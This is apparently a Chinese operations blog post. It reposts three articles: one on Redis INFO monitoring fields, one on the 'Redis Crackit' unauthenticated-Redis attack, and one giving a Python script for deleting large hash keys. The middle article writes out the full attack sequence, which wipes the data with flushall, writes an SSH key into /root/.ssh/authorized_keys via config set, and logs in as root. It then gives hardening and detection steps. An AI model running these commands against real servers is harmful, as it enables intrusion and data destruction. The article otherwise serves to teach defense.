Redis状态监控及安全防护

应用监控-Redis状态监控

Redis可以使用INFO命令,进行状态监控。

以一种易于解释(parse)且易于阅读的格式,返回关于 Redis 服务器的各种信息和统计数值。
通过给定可选的参数 section ,可以让命令只返回某一部分的信息:
    server : 一般 Redis 服务器信息,包含以下域:
            redis_version : Redis 服务器版本
            redis_git_sha1 : Git SHA1
            redis_git_dirty : Git dirty flag
            os : Redis 服务器的宿主操作系统
            arch_bits : 架构(32 或 64 位)
            multiplexing_api : Redis 所使用的事件处理机制
            gcc_version : 编译 Redis 时所使用的 GCC 版本
            process_id : 服务器进程的 PID
            run_id : Redis 服务器的随机标识符(用于 Sentinel 和集群)
            tcp_port : TCP/IP 监听端口
            uptime_in_seconds : 自 Redis 服务器启动以来,经过的秒数
            uptime_in_days : 自 Redis 服务器启动以来,经过的天数
            lru_clock : 以分钟为单位进行自增的时钟,用于 LRU 管理

    clients : 已连接客户端信息,包含以下域:
            connected_clients : 已连接客户端的数量(不包括通过从属服务器连接的客户端)
            client_longest_output_list : 当前连接的客户端当中,最长的输出列表
            client_longest_input_buf : 当前连接的客户端当中,最大输入缓存
            blocked_clients : 正在等待阻塞命令(BLPOP、BRPOP、BRPOPLPUSH)的客户端的数量
    memory : 内存信息,包含以下域:
            used_memory : 由 Redis 分配器分配的内存总量,以字节(byte)为单位
            used_memory_human : 以人类可读的格式返回 Redis 分配的内存总量
            used_memory_rss : 从操作系统的角度,返回 Redis 已分配的内存总量(俗称常驻集大小)。这个值和 top 、 ps 等命令的输出一致。
            used_memory_peak : Redis 的内存消耗峰值(以字节为单位)
            used_memory_peak_human : 以人类可读的格式返回 Redis 的内存消耗峰值
            used_memory_lua : Lua 引擎所使用的内存大小(以字节为单位)
            mem_fragmentation_ratio : used_memory_rss 和 used_memory 之间的比率
            mem_allocator : 在编译时指定的, Redis 所使用的内存分配器。可以是 libc 、 jemalloc 或者 tcmalloc 。
        在理想情况下, used_memory_rss 的值应该只比 used_memory 稍微高一点儿。
        当 rss > used ,且两者的值相差较大时,表示存在(内部或外部的)内存碎片。
        内存碎片的比率可以通过 mem_fragmentation_ratio 的值看出。
        当 used > rss 时,表示 Redis 的部分内存被操作系统换出到交换空间了,在这种情况下,操作可能会产生明显的延迟。
        Because Redis does not have control over how its allocations are mapped to memory pages, high used_memory_rss is often the result of a spike in memory usage.
        当 Redis 释放内存时,分配器可能会,也可能不会,将内存返还给操作系统。
        如果 Redis 释放了内存,却没有将内存返还给操作系统,那么 used_memory 的值可能和操作系统显示的 Redis 内存占用并不一致。
        查看 used_memory_peak 的值可以验证这种情况是否发生。

    persistence : RDB 和 AOF 的相关信息
    stats : 一般统计信息
    replication : 主/从复制信息
    cpu : CPU 计算量统计信息
    commandstats : Redis 命令统计信息
    cluster : Redis 集群信息
    keyspace : 数据库相关的统计信息

除上面给出的这些值以外,参数还可以是下面这两个:
    all : 返回所有信息
    default : 返回默认选择的信息
当不带参数直接调用 INFO 命令时,使用 default 作为默认参数。

转载自:https://www.unixhot.com/article/20


Redis Crackit漏洞利用和防护

        注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!

   
目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊。具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了。可以通过redis直接获取system shell,注意哦,可不是web shell。你的redis运行在什么用户,就直接能登陆了。

 
下面我模拟一下入侵过程:

 
准备工作:

·       1.准备一个运行在root用户下的验证redis。

·       2.在你的本地生产一个ssh key。# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"

·       3. 给你的公钥加点换行   # (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt


开始了:很简单哦

#
清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。
[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushall
OK
#
把公钥写入到一个key里面
[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen
#连接到这个redis上
[root@test-node1 ~]# redis-cli -h 192.168.199.221
#设置rdb文件存放的路径
redis 192.168.199.221:6379> config set dir /root/.ssh/
OK
#设置rdb文件的文件名
redis 192.168.199.221:6379> config set dbfilename "authorized_keys"
OK
#搞定保存
redis 192.168.199.221:6379> save
OK
#退出
redis 192.168.199.221:6379> exit

#尝试登陆吧
[root@test-node1 ~]# ssh root@192.168.199.221
Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com

!!!!!!!!!!!!好吧,一台服务器就这一沦陷了!!!!!!!

#去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys
[root@test-node2 ~]# cat /root/.ssh/authorized_keys

注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要只想flushall,这个是明确的违法的哦。

如何防护:

     1.
禁用这些可以入侵的命令:
     [root@test-node2 ~]# vim /etc/redis.conf
     rename-command FLUSHALL ""
     #rename-command CONFIG ""  注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。
 
    2.将你的redis不要运行在0.0.0.0.或者设置验证。
     [root@test-node2 ~]# vim /etc/redis.conf
    requirepass redis-passwd
    bind 192.168.199.11

   3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。

如何发现被入侵:
   

·           1.你的redis数据莫名其妙没有了。

·            2.检查你的rdb文件存放的路径

·            3.检查是否有非法的authorized_keys

转载自:https://www.unixhot.com/article/23



如何有效删除Redis中比较大的Hash Key

    生产上由于业务设计原因,有一些500M的Hash Key,现在已经没有用了,需要删除,如果直接删除会造成Redis的卡顿影响线上正常的业务。那么处理有两个方案:

·            在一个夜深人静的时刻,流量低点进行操作(运维真是苦逼啊!)

·            写个脚本,把Hash里面的内容一条一条删除(Python大法好啊!)

   
Python脚本:
     
于是便有了这个脚本,很Low,很实用:


# -*- coding: UTF-8 -*-

'''

   python redis_hash_del.py HASH_KEY_NAME

'''



# Import python libs

import sys

import redis



# Args Input filter

if len(sys.argv) <= 1:

   print "python sys.argv[0] HASH_KEY_NAME"

   sys.exit()

else:

   hashkey = sys.argv[1]



# redis_hash_del online

def redis_hash_del(hashkey):

   '''

   delete redis hash key

   '''

   r = redis.Redis(host='192.168.0.118',port=6379,db=0)

   if r.exists(hashkey):

       hashkey_all = r.hkeys(hashkey)

       for i in range(len(hashkey_all)):

          r.hdel(hashkey, hashkey_all[i])

       print i

   else:

       print "KEY NOT EXISTS"



if __name__ == "__main__":

   redis_hash_del(hashkey)



[/i]

  使用方法:

   
手动修改脚本里面的IP地址和端口,然后:

[i]python redis_hash_del.py HASH_KEY_NAME[/i]

转载自:https://www.unixhot.com/article/34

anzhihe 安志合个人博客,版权所有 丨 如未注明,均为原创 丨 转载请注明转自:https://chegva.com/2169.html | ☆★★每天进步一点点,加油!★★☆ | 

您可能还感兴趣的文章!

发表评论

电子邮件地址不会被公开。 必填项已用*标注